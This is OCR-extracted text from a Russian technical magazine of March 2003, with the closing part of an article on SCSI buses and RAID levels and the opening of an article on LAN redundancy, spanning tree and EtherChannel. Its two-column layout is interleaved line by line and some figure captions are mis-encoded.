подключены только 2 устройства, максимальное число ство (диск, стример, CD-ROM), подключенное к SCSI-шине.
дисков ATA редко превышает 4 в одной системе. И ог- Собственно, поэтому и используют такие «относитель-
раничение на длину ATA-кабеля играет в этом не пос- ные» термины как target и initiator. Иногда это удобно, так
леднюю роль. Именно поэтому я заметил в начале ста- как в некоторых инсталляциях могут быть использованы
тьи, что ATA-диски идеально подходят для настольных два SCSI-адаптера, подключенные к одной SCSI-шине (так
систем, но абсолютно неприменимы в системах сред- называемый dual-initiator). При этом взаимно друг к другу
него класса и выше. они являюся iniator и target. Я использую наиболее подхо-
Возможно, с распространением SerialATA расстанов- дящие к конкретной ситуации термины.
ка сил несколько изменится, но сейчас еще рано об этом Контроллер шины является главным во всей этой связ-
говорить. ке, и управляет работой всей шины в целом и каждого
Тем не менее если у вас возникла необходимость по- SCSI-устройства по отдельности, передавая им команды
лучить сколько-нибудь приличное число IOPS или высо- управления. SCSI targets в обычном состоянии «отсоеди-
кий DTR, у вас есть только один вариант – использовать нены» от SCSI-шины, и могут подключаться к ней только
протокол SCSI в одной из его инкарнаций. после разрешения контроллера шины. Они подключают-
В 1981 году Shugart Assosiates (позже переименован- ся к шине только для получения команд и передачи дан-
ная в Seagate Technologies) и NCR Technologies совмест- ных, в остальное время targets работают автономно. Кон-
но разработали и выдвинули на рассмотрение новый дис- троллер шины управляет устройствами посредством де-
ковый интерфейс. После некоторых изменений интерфейс вяти выделенных сигнальных линий.
был одобрен и в 1986 году принят в качестве стандартно- Существует два физических типа параллельной SCSI-
го, сейчас известного как SCSI-1. шины – 8-битная Narrow и 16-битная Wide. В данном слу-
После достаточно большого перерыва, в 1994 году чае число бит определяет число проводников, предназ-
ANSI принял новый стандарт – SCSI-2. На самом деле наченных для передачи данных по шине.
SCSI-2 – шина с пропускной способностью 10 и 20 Mб/с Максимальное число устройств, подключеных к шине,
появилась на рынке заметно раньше, что является типич- зависит от типа используемого SCSI-протокола. В настоя-
ной картиной для быстроразвивающихся технологий. щее время это 7 targets для Narrow SCSI, 15 для Wide SCSI
Очень скоро, в 1996 году появился первый стандарт SCSI-3 и 127 для FC. На текущий момент используются 3 типа па-
с поддержкой Ultra-устройств и пропускной способностью раллельной SCSI-шины – single-ended (SE), differential (HVD)
20 и 40 Mб/с. Вслед за ним в 1998 году появилось новое и низковольтная differential (LVD). Все они несовместимы
расширение стандарта SCSI-3 – Ultra2 с пропускной спо- между собой, так как каждый тип определяет свои уровни
собностью 80 Mб/с. Одной из особенностей Ultra2 стало сигнала и назначение проводников.
использование LVD (Low Voltage Differential) протокола для SE SCSI является старейшей и наименее надежной. В
увеличения максимально допустимой физической длины данном типе шины логическая 1 определяется низким уров-
SCSI-шины. Однако в 2000 году появляется новый стан- нем сигнала на проводнике (0-0.5 В), а логический 0 опре-
дарт Ultra160 SCSI с пропускной способностью 160 Mб/с, деляется высоким уровнем сигнала (2.5-5 В). При таких
который на настоящий момент и является основным. И низких уровнях сигнала максимальная длина шины не мо-
уже в 2002 году появились первые устройства, поддер- жет превышать 1.5 м. для Ultra SCSI-2 и 3 м. для Fast SCSI-2.
живающие Ultra320 SCSI, новый протокол, основной кон- Для преодоления этих лимитов был разработан
курент Fibre Channel систем хранения. differential SCSI, сейчас называемый HVD. В HVD исполь-
Итак, SCSI-протокол. Как и технология ATA, SCSI-про- зуются «плюс/минус» пары сигнальных линий с напряже-
токол определяет как физический, так и логический уро- нием от 0 до 12 В для каждой линии данных, и логическая 1
вень. Физический уровень, где определяется число уст- определяется, когда сигнал на «плюс» проводнике выше, чем
ройств на шине, длина проводников, уровни сигнала и на «минус»; и логический 0, когда сигнал на «плюс» провод-
прочие физические характеристики, наиболее подвержен нике ниже, чем на «минус». Согласно стандарту, максималь-
изменениям. Фактически, обсуждая SCSI-стандарты, мож- ная длина HVD SCSI шины не должна превышать 25 м.
но говорить только об изменениях физического уровня. LVD, пришедший на смену HVD, также использует +/-
При этом логический уровень, определяющий команды уп- пары сигнальных линий, но с напряжением 5 В, а не 12. В
равления SCSI-устройствами и шиной, остался практичес- резульате LVD оказался более дешевым и получил боль-
ки неизменным, вплоть до того, что логический уровень шее распространение, хотя и ценой снижения максималь-
SCSI-протокола также используется в FC-устройствах. По- ной длины шины.
этому основное внимание мы обратим именно на физи- Важно понимать, что все перечисленные типы уст-
ческие характеристики SCSI-шины. ройств несовместимы между собой. Хотя LVD-устройства,
SCSI-шина. Снова немного терминологии. поключенные к SE-шине, будут работать, но только с дег-
SCSI-устройство, оно же – любое устройство, подклю- радацией их производительности до SCSI-2. И наоборот:

72
hardware
единственное подключенное к LVD-шине SE-устройство чивая комплексными RAID-системами. Но, как обычно, не-
приведет к переключению всей шины в SCSI-2 режим. много терминологии для начала.
Также важно знать, что LVD- и HVD-устройства абсо- RAID (Redundant Array of Independed Disks) – техноло-
лютно несовместимы, хотя и имеют одинаковые интерфей- гия, позволяющая получить быструю, лекгую в управле-
сы. И хотя на большинстве LVD-устройств существует за- ниии надежную систему хранения.
щита от подключения их к HVD-шине, будьте вниматель- Чанк (chunk) – минимальный размер записи для RAID-
ны. Подключение LVD-устройства к HVD-шине (и наобо- тома. Иногда его также называют шириной страйпа. Рас-
рот) может привести к полному выходу из строя всех под- сматривайте его как размер логического блока для дис-
ключенных к шине устройств, включая SCSI-контроллер. ков в массиве. Обычно размер чанка может быть выбран
Для контроля целостности любой SCSI-шины исполь- при создании массива и составляет от 16 до 128 Кб. Но
зуется ее терминация с обеих строн. Осуществляется тер- подробней об этом ниже.
минация при помощи терминаторов – резистивной нагруз- Страйп (stripe) – ряд или «колонка» чанков по одному
ки, стабилизирующей работу шины. Существуют два типа с каждого диска. Также этот термин может быть исполь-
терминации – активный и пассивный. Замечу, что исполь- зован для обозначения RAID-0 массива.
зование разных типов терминаторов на разных сторонах Cтрайпинг (striping) – тот или иной метод логического
шины неминуемо приведет к проблемам. обьединения чанков для формирования страйпа.
Пассивная термининация в настоящее время исполь- Зеркалирование (mirroring) – технология, обеспечива-
зуется только для SE-шины. Активная терминация может ющая копирование данных с одного носителя на другой в
быть использована для любого типа шины, и может осу- реальном времени. Простейший способ получить систе-
ществляться как самим устройством, так и внешним тер- му хранения с резервированием всех данных.
минатором (LVD-устройства не имеют встроенного тер- Аппаратный RAID – устройство RAID, созданное и под-
минирования, необходимо использовать внешние актив- деживаемое на аппаратном уровне. При этом для опера-
ные терминаторы). ционной системы такое устройство выглядит как один фи-
И немного о SCSI-коннекторах. В настоящее время ис- зический жесткий диск – отдельные диски, составляющие
пользуются коннекторы 50-pin SCSI-2, 68-pin SCSI-3 и 80-pin данное устройство, системе невидны. Наиболее удобное,
SCA. На старых устройствах также можно встретить 50- надежное и дорогое решение. Что важно, такой массив мо-
pin разьемы Centronics-50, DB50 (3 ряда контактов). SCA- жет быть организован, как полностью независимое внеш-
коннекторы обычно используются для hot-plug дисков, и кро- нее устройство, со своим корпусом, блоками питания, пре-
ме 68 проводников включают проводники электропитания доставляющее компьютеру только тот или иной интерфейс
и проводники назначения SCSI ID для устройства. Хотя при физического уровня (SCSI или Fibre Channel, например).
необходимости диск, имеющий SCA-интерфейс, может Програмный RAID – RAID-устройство, созданное про-
быть подключен к 68-pin SCSI-шине через переходник. граммным обеспечением операционной системы. Основ-
Вот и все о физическом устройстве SCSI-шины. ными недостаткоми по сравнению с аппаратным являет-
ся «видимость» каждого диска для операционной систе-
мы (и конечно для вас, как системного администратора),
а также более низкая производительность практически
на всех уровнях RAID. Однако данная технология являет-
ся достаточно популярной и реализована практически во
всех операционных системах. Достаточно для начала,
подробней поговорим ниже.
Давайте теперь рассмотрим возможные схемы устрой-
ства систем хранения. Тема неоднократно обсуждалась, но
вкратце повторим, тем более что число возможных вариан-
тов невелико. Все они имеют свои преимущества и свои не-
достатки, и единственная тонкость состоит в выборе пра-
вильного – того, который обеспечит вам нужную производи-
тельность и надежность, и который можете себе позволить.
Первая, и наиболее распространенная схема – ПКД
(JBOD – Just a Bunch Of Disks) – Просто Куча Дисков (шут-
ка). Собственно, это куча и есть – несколько дисков, ис-
пользуемых каждый «сам по себе». На каждом диске со-
Часть 3 здаются разделы, на каждом разделе создается файло-
В предыдущих частях мы разобрались с низкоуровневы- вая система. Наиболее дешевый, и наименее надежный
мы устройствами, используемыми в системах хранения способ хранения. Идеален для рабочих станций и неболь-
данных, характеристиками производительности и прото- ших серверов, конечно, при условии регулярного резерв-
колами. Пришло время поговорить о возможных моделях ного копирования.
устройства самих систем хранения. RAID-массивы. В общем случае любой RAID-массив
В этой части мы рассмотрим используемые в реаль- можно рассматривать как совокупность методов зерка-
ной жизни технологии, начиная с самых простых и закан- лирования и того или иного вида страйпинга. Как я уже

№3(4), март 2003 73


hardware
упоминал выше, может быть реализован как аппаратны- ной работе. Процесс такого восстановления называется
ми, так и программными средствами. «реконструированием» (reconstruction) массива и может
Существует только 5 основных видов RAID, их мы и быть инициирован, как автоматически после замены от-
рассмотрим в первую очередь. Другие виды мы также казавшего диска, так и вручную.
рассмотрим, хотя они являются только той или иной ком- Одним из неочевидных свойств любого RAID-массива
бинацией этих пяти основных. являтся его пониженная, по сравнению с отдельным дис-
Сама концепция RAID была предложена в 1988 году в ком, средняя продолжительность бесперебойной работы
университете Берклей. Концепция предлагала относитель- (MTBF, Mean Time Betwen Failures). Действительно, если
но дешевый метод создания дисковых систем большой MTBF одиночного диска составляет 1000000 часов, то
емкости и надежности, используя стандартные компонен- MTBF дискового массива из 15 таких дисков составит
ты. Был предложен один метод увеличения емкости сис- 66666 часов, а если предположить, что у вас использует-
темы и 5 методов обеспечения повышенной надежности. ся 10 таких массивов, то их суммарный MTBF составит
Эти методы получили имена RAID 0, 1, 2, 3, 4 и 5 и до сих всего 6666 часов – немногим более полугода, и чем доль-
пор используются в практически неизменном виде. ше эти диски эксплуатировались, тем выше вероятность
Основой всех уровней (за исключением RAID-1) явля- их выхода из строя.
ется страйпинг. В результате страйпинга логические бло- Разобравшись с принципами работы RAID, давайте
ки RAID-тома равномерно распределяются, чередуясь по более детально рассмотрим каждый из его уровней.
всем физическим дискам массива. Премуществами та- RAID-0. Представляет собой простой страйп несколь-
кого подхода являются увеличение емкости системы, а ких дисков, без контроля четности. Не обеспечивает за-
также увеличение производительности и надежности в щиты данных, но обеспечивает максимальную произво-
случае с RAID уровней 3, 4 и 5. дительность на всех операциях ввода/вывода. Однако
Повышенная надежность (защита данных) обеспечи- отказ одного любого диска в такой системе приведет к
вается за счет поддержания в реальном времени копии полной потере всех данных массива. Используя такой
всех данных на дополнительном (или нескольких допол- массив, вы должны осознавать риск, на который идете, и
нительных) дисках в случае RAID-1, и за счет контроля регулярно резервировать имеющиеся данные.
четности в случае RAID уровней 3, 4 и 5. RAID-1. Представляет собой простое копирование дан-
Заметьте, что в случае RAID-1 не происходит увеличе- ных с одного диска на один или более резервных дисков.
ния емкости всей системы, а существует только прирост Постейший уровень RAID, обеспечивающий защиту дан-
производительности на операциях чтения данных. Хотя ных и прирост производительности для операций чтения.
такая конструкция и представляет определенный интерес, В случае выхода одного из дисков из строя, все операции
давайте более детально рассмотрим страйпинг с контро- производятся с работающим диском, хотя при этом и те-
лем четности. ряется защита данных. Прирост производительности обес-
Предположим, что в нашем распоряжении имеется дис- печивается за счет того, что операции чтения могут быть
ковый массив из 5 дисков. В случае если этот массив скон- выполнены с любого диска. В то же время все операции
фигурирован как RAID уровней 3, 4 или 5, суммарная ем- записи производятся всегда только на один из дисков.
кость четырех дисков будет использована непосредствен- Кроме того, если используется программый RAID-1, на
но для данных, а емкость одного диска будет использова- операциях записи может наблюдаться снижение произ-
на для хранения данных четности. Каждый страйп в та- водительности по сравнению с отдельным диском, как
ком массиве будет состоять из пяти чанков, четыре из следствие «двойной» передачи данных по шине. Данный
которых будут содержать полезные данные, а пятый чанк уровень RAID можно рекомендовать для использования в
будет содержать данные четности. особо критичных системах и для системных разделов.
Данные четности представляют собой результат опе- Производными от этих двух уровней RAID являются
рации «исключающее или» (XOR), производящейся по- RAID-0+1, RAID-10 и RAID-100. Эти уровни уже являются
битно для каждой «колонки» бит в страйпе. двумерными массивами, хотя и абсолютно различны.
В случае отказа одного из дисков в таком массиве, RAID-0+1 можно рассматривать как двумерный мас-
данные чанков отказавшего диска могут быть восстанов- сив дисков, представляющий собой миррор одного RAID-0
лены с использованием данных функционирующих дис- тома на другой RAID-0 том. Такая конструкция обеспечи-
ков и данных четности. При этом, даже при отсутствии вает прирост производительности аналогично обычному
одного из дисков, дисковая система продолжит работу, RAID-1. Но надо заметить, что надежность такого масси-
хотя и значительно медленней, в так называемом «дегра- ва крайне мала. Выход из строя одного диска приводит к
дировавшем режиме» (degraded mode). полной потере одного из RAID-0 томов и, как следствие,
Важно понимать, что сама технолоия RAID не контро- переходу миррора в деградированный режим. Кроме того,
лирует целостность данных. Чанки четности не считыва- возможным следствием является потеря всех данных мас-
ются в процессе нормальной работы, а контроль целост- сивы при выходе из строя дополнительно еще одного их
ности данных возложен на рассмотренные выше механиз- дисков работающего RAID-0 тома.
мы защиты дисков и шин данных (ECC секторов диска и RAID-10. Можно рассматривать как двумерный массив,
контроль четности на шине). но в отличие от RAID-0+1, являющийся страйпом несколь-
После замены отказавшего диска, его данные будут ких RAID-1 томов. Легко заметить, что при таком же чис-
постепенно восстановлены, и массив вернется к нормаль- ле дисков и емкости, что и в RAID-0+1, RAID-10 обеспечи-

74
hardware
вает гораздо более высокие уровни производительности новится узким местом при операциях записи. Широкого
и надежности. Действительно, в случае выхода из строя распространения такие системы не получили, и были бы-
одного из дисков будет наполовину снижена производи- стро вытеснены более продвинутым вариантом – RAID-5.
тельность только одного RAID-1 тома, а массив остается RAID-5 также использует страйпинг с контролем чет-
полностью работоспособным. Таким образом, данные бу- ности, но вместо выделеного диска для данных четности,
дут потеряны, только если из строя выйдет второй диск чанки с этими данными равномерно распределены по всем
из уже поврежденной пары, вероятность чего относитель- дискам массива. Такая схема позволяет избежать огра-
но невелика. ничений на производительность, присущих RAID-4 маси-
RAID-100, в свою очередь, представляет собой RAID-0 вам, и в то же время использовать дисковую емкость мак-
массив, в качестве физических «устройств» которого ис- симально эффективно.
пользуются RAID-10 массивы. Конфигурация крайне ред- RAID-5 массивы могут быть реализованы как аппарат-
кая, и может быть реализована только с одновременным но так и программно, но в случае программной реализа-
использованием аппаратного и програмного RAID. Пра- ции операции записи на массив крайне медленны, так как
вильно спроектированный RAID-100 массив обеспечит программное вычисление четности данных требует сво-
максимально возможную производительность, и наобо- ей доли процессорного времени. В большинстве случаев,
рот, в случае ошибки при конфигурировании массива используя программную реализацию, вы теряете больше,
может получиться весьма неторопливый динозавр. чем приобретаете.
Заметным недостатком вышеперечисленных уровней RAID-50, аналогично RAID-30, представляет собой сим-
RAID-1, 10 и 100 являются большие потери дискового про- биоз RAID-0 и RAID-5 с аппаратной реализацией RAID-5 и
странства. На самом деле для этих уровней «потери» со- програмной RAID-0. На мой взгляд, именно RAID-50 на те-
ставят ровно половину от суммарной емкости физичес- кущий момент времени обеспечивает максимально вы-
ких устройств. Для сокращения таких потерь и были пред- годное сочетание цены, емкости и производительности.
ложены RAID уровней 3, 4 и 5, основанные на страйпинге RAID-6 представляет собой RAID-5, дополнительно «на-
с контролем четности. крытый» еще одним диском с данными четности. Такая
RAID-3 является наименее используемым и наиболее конструкция была призвана для защиты от одновремен-
труднореализуемым представителем данного типа ма- ного отказа двух дисков (что само по себе крайне мало-
сивов. RAID-3 масивы состоят из небольшого числа дис- вероятно), но распространения не получила, так как про-
ков, редко больше пяти. Один из этих дисков использут- изводительность такого массива на операциях записи
ся для хранения данных четности, а оставшиеся – для практически никакая.
хранения полезных данных. При этом скорости враще-
ния всех дисков массива синхронизированы. При запро-
се любого блока такого массива, головки всех дисков
также передвигаются синхронно. В результате такой син-
хронизации в один момент времени головки всех дисков
будут находиться над одним и тем же сектором поверх-
ности, читая или записывая его на все диски одновре-
менно. Получившееся устройство более всего напоми-
нает одиночный жесткий диск, если бы существовали
диски такой емкости и производительности. Однако из-
за сложности реализации такой схемы и дороговизны,
RAID-3 массивы получили распространение только там,
где требуется максимальная производительность для
операций чтения большого обьема последовательных
данных. Системы видеомонтажа, например.
RAID-30 является логическим продолжением и пред-
ставляет собой RAID-0 массив, состоящий из RAID-3
массивов. Может быть использован для преодоления ог-
раничений на емкость RAID-3 масивов (как я уже заме-
тил, они состоят из относительно небольшого числа
дисков ) и отчасти для увеличения производительнос-
ти. Как и RAID-100, RAID-30 реализуется одновремен-
ным использованием аппаратных (RAID-3 часть) и про-
грамных (RAID-0 часть) средств.
RAID-4. В данной технологии используется страйпинг
с контролем четности, при этом один из дисков использу-
ется только для хранения данных четности. Контроль чет-
ности гарантирует избыточность массива с минимальны- Что касается производительности RAID-томов – лю-
ми потерями полезного дискового пространства, но един- бая корректно спроектированная система хранения, ис-
ственный диск для хранения данных четности быстро ста- пользующая RAID-тома, обеспечит прирост того или

№3(4), март 2003 75


hardware
иного вида производительности. Проектирование сис- шийся в результате этой операции блоком данных про-
темы хранения включает анализ таких факторов, как межуточной четности и старыми данными четности так-
потребность приложения в дисковом пространстве, пре- же проводится операция “XOR”, генерирующая новые
обладающие типы запросов ввода/вывода (чтение или данные четности. И наконец, новые данные чанка и
запись), размер этих запросов. При этом также необ- новые данные четности записываются на диски. Как
ходимо учесть особенности используемых в операци- видно, в результате одного такого изменения данных
онной системе файловых систем, возможности оптими- мы получим дополнительную нагрузку в виде двух опе-
зации ввода/вывода средствами операционной систе- раций чтения и двух операций записи.
мы, и еще множество других. А теперь представьте, что вы ошиблись при проекти-
Вот типичный пример. Предположим, что у нас име- ровании системы хранения, и любая операция записи на
ется дисковый массив из 5 дисков, сконфигурирован- нее порождает такую двойную нагрузку.
ный как аппаратный RAID-5 том с размером чанка 32 Кб, В действительности, практически невозможно точно
и созданная на нем файловая система с размером бло- предположить, как будут располагаться данные на RAID-
ка также 32 Кб. При записи на такой массив файла раз- томе, поэтому прежде чем запускать систему в эксплуа-
мером 10 Мб, RAID-контроллер буферизует в кэш-па- тацию, проведите несколько экспериментов с изменени-
мяти достаточно данных для заполнения страйпа цели- ем размера чанка и размера блока файловой системы.
ком, т.е. 128 Кб (т.к. в этом примере только чанки с 4 Ну и напоследок немного о надежности. Действитель-
дисков могут быть использованы для данных), вычис- но, RAID-массив может спасти ваши данные при отказе
ляет данные четности, и записывает все 5 чанков на одного из его жестких дисков. И даже продолжить рабо-
диски. Т.е. в данном случае контроллер перезаписыва- ту. Но это не спасет вас от одновременного отказа не-
ет большинство страйпов целиком, и чтения данных с скольких дисков, скажем, из-за сбоя в системе электро-
дисков не производится, только запись. А теперь да- питания, или отказе RAID-контроллера, или ошибке в его
вайте предположим, что нам необходимо перезаписать программном обеспечении.
только один чанк в страйпе. Для этого блоки данных И хотя теория вероятности будет работать на вас, за-
перезаписываемого чанка и блоки данных четности счи- коны Мерфи окажутся сильней. Примите за данность тот
тываются в кэш-буфер RAID-контроллера. Туда же за- факт, что худшее случится именно с вашим массивом и в
писываются новые данные для перезаписываемого чан- самый неподходящий момент. И тогда спасти вас сможет
ка. Затем производится операция “XOR” для новых дан- только бэкап, созданный прошедшей ночью. Никогда не
ных и считанных старых данных чанков. Над получив- полагайтесь только на RAID-массивы.

76
ЛВС:
УПРАВЛЯЕМОСТЬ,
НАДЕЖНОСТЬ,
МАСШТАБИРУЕМОСТЬ

Значение коммуникационных структур, таких как локальные вычислительные сети, с каждым


годом возрастает. Появляются новые технологии, предлагающие все более фантастические
возможности; новое оборудование, построенное на основе этих технологий и реализующее эти
возможности. Так же возрастает роль надежной и своевременной обработки информации, что
требует высококачественных и скоростных линий связи и обслуживающего оборудования с
широкой полосой пропускания. Только та коммуникационная система может считаться
современной и актуальной, которая удовлетворяет ограничениям по пропускной способности,
надежности/степени защиты от сбоев и отказов и модернизируемости, т.к. не секрет, что в
настоящее время оборудование и технологии обновляются примерно раз в два года, и эта частота
имеет тенденцию к увеличению.

ДЕНИС ЕЛАНСКИЙ
образование
Как и всякая иная система, вычислительная сеть (да- шел переход сначала от кабельных сетей к витопарным,
лее – ЛВС), имеет некое математическое описание. Наи- а теперь и от 10- к 100-мегабитным сетям). Однако су-
более полно физическая структура каналов связи, ре- ществуют условия, в которых может не хватать имею-
ализуемых в рамках ЛВС, может быть представлена щихся возможностей по построению канала высокой
неориентированным графом. Узлами графа являются пропускной способности. Например, имеющиеся ком-
узлы коммутации (концентраторы и/или коммутаторы); мутаторы поддерживают скорости до 1000 мегабит, а
ребра графа, в свою очередь, описывают линии связи требуется построить канал в 5 гигабит. Или же на 100-
между узлами коммутации. Здесь и далее предполага- мегабитном коммутаторе необходимо добиться показа-
ется рассматривать сети с коммутируемой, а не разде- телей по пропускной способности в 400-600 мегабит.
ляемой средой передачи данных. Учитывая, что сети с Естественно, резонно было бы просто заменить суще-
разделяемой средой передачи – сети, построенные на ствующее оборудование на более производительное,
базе концентраторов и/или кабельных сегментов, такие но бывают случаи, когда этого нельзя сделать по ряду
как 10Base2, 10Base5 – малоэффективны и больше не причин (это может быть невозможно либо с финансо-
устанавливаются, то автор позволит себе не рассмат- вой, либо с технической точки зрения).
ривать это ответвление технологии построения ЛВС, т.к.
оно не отвечает современным требованиям. Увеличение числа пользователей
Физически ЛВС можно представить как несколько мно- Другим неприятным моментом является увеличение чис-
гопортовых коммутаторов, соединенных между собой оп- ла пользователей. С одной стороны, в проект должна быть
ределенным образом. Учитывая тот факт, что в сети ис- заложена возможность потенциального расширения сети
пользуются исключительно коммутаторы, то ограничение (плох тот инженер, результат работы которого не может
5-4-3 не является основополагающим. Это позволяет стро- быть усовершенствован согласно требованиям времени).
ить сети, в которых было бы значительное количество С другой стороны, при росте количества пользователей
пользователей, и которые покрывали бы значительные (абонентов) в сети, накладные расходы на коммутацию в
расстояния. сети резко возрастают. Эта проблема порождается тем,
Итак, какие сложности могут возникать при построе- что каждое устройство, подключенное к сети, периоди-
нии и эксплуатации ЛВС? чески отсылает в сеть служебную информацию, которая
Неприятностей может быть неограниченное число, но оповещает остальные сетевые устройства о том, что дан-
все их можно охарактеризовать как отказ оборудования, ное устройство функционирует. Более всего это касает-
недостаточная скорость существующих каналов переда- ся коммутаторов, работающих в основном на канальном
чи данных, увеличение числа пользователей. уровне согласно OSI-модели, обменивающихся таблица-
ми коммутации.
Отказ оборудования
Как уже говорилось выше, ЛВС представляет собой узлы
коммутации и линии передачи данных. Линия передачи – Отказы оборудования
это, как правило, кабельная система; узлы коммутации Существуют методы, использование которых позволяет
включают процессор коммутации, блок питания, систему уменьшить риск полной утраты работоспособности систе-
вентиляции, интерфейсные платы. Естественно, что лю- мы. Основой подобных мероприятий является резервиро-
бой из этих элементов может дать сбой либо отказать. На вание. Всего существует три типа систем резервирования:
приводимом ниже рисунке показаны коммутаторы, про- «холодное» резервирование (в этом случае запасной мо-
изводимые Cisco Systems. дуль лежит на складе, и в случае выхода основного модуля
он монтируется вместо отказавшего устройства); «теплое»
резервирование, когда запасной агрегат подключен парал-
лельно основному, но находится в выключенном состоя-
нии (включить его можно сразу после того, как откажет
основная подсистема); третьим типом резервирования яв-
ляется «горячее» резервирование: резервирующий эле-
мент работает параллельно с резервируемым.
С точки зрения времени, требуемого на восстановле-
ние работоспособности системы, оптимален вариант с «го-
рячим» резервированием, т.к. при этом не возникает про-
Ðèñ. 1. Êîììóòàòîðû Catalyst 6xxx ïðîèçâîäñòâà Cisco Systems. стоя. Однако с точки зрения времени наработки на отказ
«горячее» резервирование приводит к преждевременно-
Недостаточная скорость му износу запасных модулей.
Технология Ethernet предусматривает следующие ско- Впрочем, для современных систем (например, комму-
рости передачи данных: 10, 100, 1000, 10000 Мб/с. На таторов) среднее время наработки на отказ составляет
сегодняшний момент наибольшее распространение сотни тысяч часов непрерывной работы. Отказать может
имеют ЛВС, работающие на скоростях 10 и 100 мега- любой элемент сети: линия передачи, образуемая кабе-
бит, причем 100-мегабитные сети постепенно вытесня- лем (витая пара с разъемами RJ45, оптоволокно с соот-
ют своих 10-мегабитных предшественников (так произо- ветствующими разъемами), порт одного (обоих) из ком-

№3(4), март 2003 79


образование
мутаторов, плата расширения коммутатора, контроллер Для того чтобы избежать большинство проблем, опи-
плат расширения, процессор коммутации, блок питания, санных ранее, достаточно создать альтернативные мар-
вентилятор, сеть переменного тока. шруты.
Для того чтобы обезопасить свою сеть от перебоев
электропитания, следует предусматривать источники бес-
перебойного питания, а если возможны долгосрочные
перебои с электропитанием, то и системы резервного
энергообеспечения.
Чтобы максимально обезопаситься от поломок обору-
дования, следует:
 резервировать все уязвимые узлы системы; Ðèñ. 2. Íåðåçåðâèðóåìàÿ ËÂÑ.
 использовать надежное оборудование известных про-
изводителей. В данном случае, при выходе из строя любого элемен-
та тракта передачи данных на участке абонент 1 – або-
При этом обе рекомендации равнозначны, ибо извест- нент 2, нарушается работоспособность всего механизма
но, что скупому приходится расплачиваться за собствен- передачи данных.
ную скупость. Для того чтобы разрешить проблему отказов в линии
Учитывая тот факт, что большую часть рынка занима- передачи, бывает достаточно ввести параллельные свя-
ет продукция Cisco Systems, все дальнейшие рассужде- зи в сети:
ния будут вестись исходя из того, что при построении ЛВС
используется сетевое оборудование именно этого произ-
водителя (естественно, это вовсе необязательное усло-
вие, т.к. намечается тенденция к сглаживанию качества у
достаточно значительного числа производителей. Глав-
ное, на что следует обратить внимание – на возможности
расширения сети и резервирования. Иными словами – на
степень реализации идеи защиты инвестиций). Ðèñ. 3. ËÂÑ ñ ðåçåðâèðóåìûìè êàíàëàìè.

Глоссарий корректное функционирование) устройства; имеет случай-


Вычислительная сеть (локальная вычислительная ный характер.
сеть, ЛВС) – это сеть компьютеров, сосредоточенных на Зацикливание – ситуация, при которой пакет, пере-
небольшой территории; в общем случае ЛВС представ- данный отправителем и достигший адресата, не уничто-
ляет собой коммуникационную систему, принадлежащую жается, т.к. существует в нескольких экземплярах, воз-
одной организации. никающих в каждом узле ветвления тракта передачи дан-
Производительность – в данной работе имеет место, ных. Приводит к бесконечной (в пределах срока жизни)
пусть и не вполне корректное отождествление таких поня- ретрансляции пакета. Сводит к нулю эффективную про-
тий, как производительность, время отклика системы и ско- пускную способность ЛВС. Порождается теми же причи-
рость передачи данных. Итак, под производительностью нами, что и широковещательные штормы.
будет пониматься скорость, с которой данные могут быть Шторм широковещания (broadcast storm) – «размно-
переданы по линии связи от одного ее окончания к другому. жение» широковещательных пакетов, приводящее к зна-
Отказоустойчивость (надежность) – в данном слу- чительному, вплоть до полной остановки, снижению про-
чае определение тоже не вполне каноническое: под отка- пускной способности ЛВС. Возможен при неправильной
зоустойчивостью (надежностью) будем понимать способ- настройке протокола охватывающего дерева в случае на-
ность системы сохранять свою функциональность при личия петель в сети.
сбое/отказе в одном из ее узлов. Протокол охватывающего дерева, Spanning Tree
Восстанавливаемость – время, требуемое на физи- Protocol (STP) – протокол, настройка которого позволяет
ческую замену вышедшего из строя модуля на новый (или логически разрывать существующие физические линии
же сама возможность такой операции). связи в принудительном порядке. Из нескольких существу-
Масштабируемость – степень сложности или наличие ющих трактов передачи данных оставляется только один,
возможности увеличения числа абонентов вычислитель- корневой маршрут, а остальные переводятся в выключен-
ной сети. ное состояние. При этом службы протокола инспектиру-
Инкапсуляция (encapsulation) – процедура дробления ют активную связь и при ее разрыве активируют одну из
данных на фрагменты определенной длины с добавлени- альтернативных линий, находившихся до того в состоя-
ем к ним некой служебной информации. нии принудительного логического отключения.
Время наработки на отказ – время, проходящее с мо- EtherChannel – технология объединения нескольких (от
мента включения нового прибора до его отказа. двух до восьми) портов коммутатора. При этом скорость
Отказ – полная потеря работоспособности устройства; результирующего канала кратна количеству портов, за-
устраняется посредством ремонта. действованных в группировании. Для создания канала
Сбой – краткосрочная потеря работоспособности (не- EtherChannel равное количество портов на двух коммута-

80
образование
Однако такое резервирование не спасает при выходе ные порты, так и дополнительные процессоры коммута-
из строя одного из промежуточных узлов коммутации ции. [4] Более того, желательно использовать оборудова-
(если произойдет отказ коммутатора 2 или коммутатора ние, поддерживающее установку двух и более блоков
3, то связь между абонентами 1 и 2 опять будет невоз- питания и систем вентиляции. Это также снизит риск об-
можна). Для этого случая целесообразно предусмотреть щего выхода системы из строя.
резервный канал между первым и последним коммутато- Однако при создании в ЛВС каких-либо запасных мар-
рами, создав, таким образом, кольцо: шрутов передачи данных возникает масса проблем. По-
добная схема обеспечения надежности не закладывалась
в стандарты, определяющие логику работы Ethernet. Пред-
полагается, что любой путь от одного узла к другому уни-
кален. В случае возникновения петель (это происходит при
добавлении резервных/альтернативных связей между уз-
лами сети) возникают «штормы широковещания» и за-
цикливание пакетов (об этом несколько позже).
Ðèñ. 4. ËÂÑ ñ êîëüöåâûì ðåçåðâèðîâàíèåì.

Естественно, подобное резервирование не спасает от Недостаточная скорость


повреждений соединений последней мили, от поврежде- Существуют ситуации, в которых приложениям необходи-
ний портов подключения абонентов и от выхода из строя мо предоставить более высокую скорость передачи дан-
оконечных коммутаторов. Для снижения рисков, связан- ных, чем это возможно сделать из-за ограничений суще-
ных с этими угрозами, следует оставлять несколько сво- ствующих портов коммутатора. Например, в сети суще-
бодных гнезд на каждом коммутаторе (тогда, в случае ствуют порты со скоростью передачи трафика 10 Мб/с,
выхода из строя используемых портов, можно быстро пе- или 100 Мб/с. При этом требуются скорости в 50 или же
ренастроить свободный порт и осуществить переключе- 500 Мб/с). Подобная задача может быть решена тремя спо-
ние абонента вручную). Также стоит по возможности ис- собами: установкой нового, более производительного обо-
пользовать коммутаторы, которые поддерживают установ- рудования, установкой в корпус имеющихся коммута-
ку плат расширения, предоставляющие как дополнитель- торов более скоростных плат расширения или объедине-

торах объединяется в группу, затем между ними прокла- Этот тип кабелей используется для соединения маршру-
